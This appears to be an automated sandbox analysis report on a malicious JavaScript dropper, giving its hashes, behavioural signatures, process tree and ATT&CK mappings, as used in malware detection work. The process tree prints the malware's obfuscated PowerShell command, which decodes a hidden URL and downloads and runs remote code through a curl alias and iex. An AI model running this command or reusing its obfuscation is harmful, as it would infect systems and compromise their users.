0b580d54bf359f3d35bc83e3d2be3083f90d12aa425b32cdd811274b635fdf08

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:41

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General

Target

d81306e6ceb01eb8ce8f48229946e4890fc15de6f71cd45fd312baf3d092e71f.js
Size

224KB
MD5

4e86d88b7afd215e816bffde3c8a2729
SHA1

f0535c49dccfda7f6dc4db4abd02a1336a90f3e6
SHA256

d81306e6ceb01eb8ce8f48229946e4890fc15de6f71cd45fd312baf3d092e71f
SHA512

3cf38808c708d0d9bddfaf1ae2d9483d3c6c1c424d00765b14038d814b67f0edb1aa22dd35d34f9d89f882bb096629a98cbec4b90ca3e08bb9fc1015a84a9a1a
SSDEEP

1536:nw2qEIyiGrVG3049NyTPl4QG/hVERDSwBDw2k5n72VG3049NyTPl4QG/hVEUDSws:nPrXqXM788XqXL78578GXqX6XqXO

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4508	1624	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4432	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4432	powershell.exe
4432	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4432	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4508 wrote to memory of 4432	4508	conhost.exe	84
PID 4508 wrote to memory of 4432	4508	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\d81306e6ceb01eb8ce8f48229946e4890fc15de6f71cd45fd312baf3d092e71f.js
1⤵
PID:1596

C:\Windows\system32\conhost.exe
conhost --headless powershell $zlycwjsmh='ur' ;new-alias printout c$($zlycwjsmh)l;$ibyqethwgzud=(5343,5354,5362,5346,5348,5343,5363,5362,5367,5300,5362,5296,5343,5291,5361,5356,5357,5292,5294,5291,5357,5349,5357,5308,5360,5306,5354,5350,5355,5361,5360,5295,5294);$fsclpir=('bronx','get-cmdlet');$geahiwumtnvx=$ibyqethwgzud;foreach($vqwioe in $geahiwumtnvx){$rzuhcmyegpjfl=$vqwioe;$bfarskmehny=$bfarskmehny+[char]($rzuhcmyegpjfl-5245);$byxgqaevuwdsco=$bfarskmehny; $aphviywjon=$byxgqaevuwdsco};$nvmiostbyp[2]=$aphviywjon;$gkilmexpwr='rl';$shevcurn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $aphviywjon)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $zlycwjsmh='ur' ;new-alias printout c$($zlycwjsmh)l;$ibyqethwgzud=(5343,5354,5362,5346,5348,5343,5363,5362,5367,5300,5362,5296,5343,5291,5361,5356,5357,5292,5294,5291,5357,5349,5357,5308,5360,5306,5354,5350,5355,5361,5360,5295,5294);$fsclpir=('bronx','get-cmdlet');$geahiwumtnvx=$ibyqethwgzud;foreach($vqwioe in $geahiwumtnvx){$rzuhcmyegpjfl=$vqwioe;$bfarskmehny=$bfarskmehny+[char]($rzuhcmyegpjfl-5245);$byxgqaevuwdsco=$bfarskmehny; $aphviywjon=$byxgqaevuwdsco};$nvmiostbyp[2]=$aphviywjon;$gkilmexpwr='rl';$shevcurn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $aphviywjon)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwgp3wlz.1vw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4432-0-0x00007FFF96F53000-0x00007FFF96F55000-memory.dmp

Filesize
8KB

Download
memory/4432-7-0x000001C8EB430000-0x000001C8EB452000-memory.dmp

Filesize
136KB

Download
memory/4432-11-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4432-12-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4432-13-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4432-14-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4432-15-0x00007FFF96F53000-0x00007FFF96F55000-memory.dmp

Filesize
8KB

Download
memory/4432-16-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4432-19-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download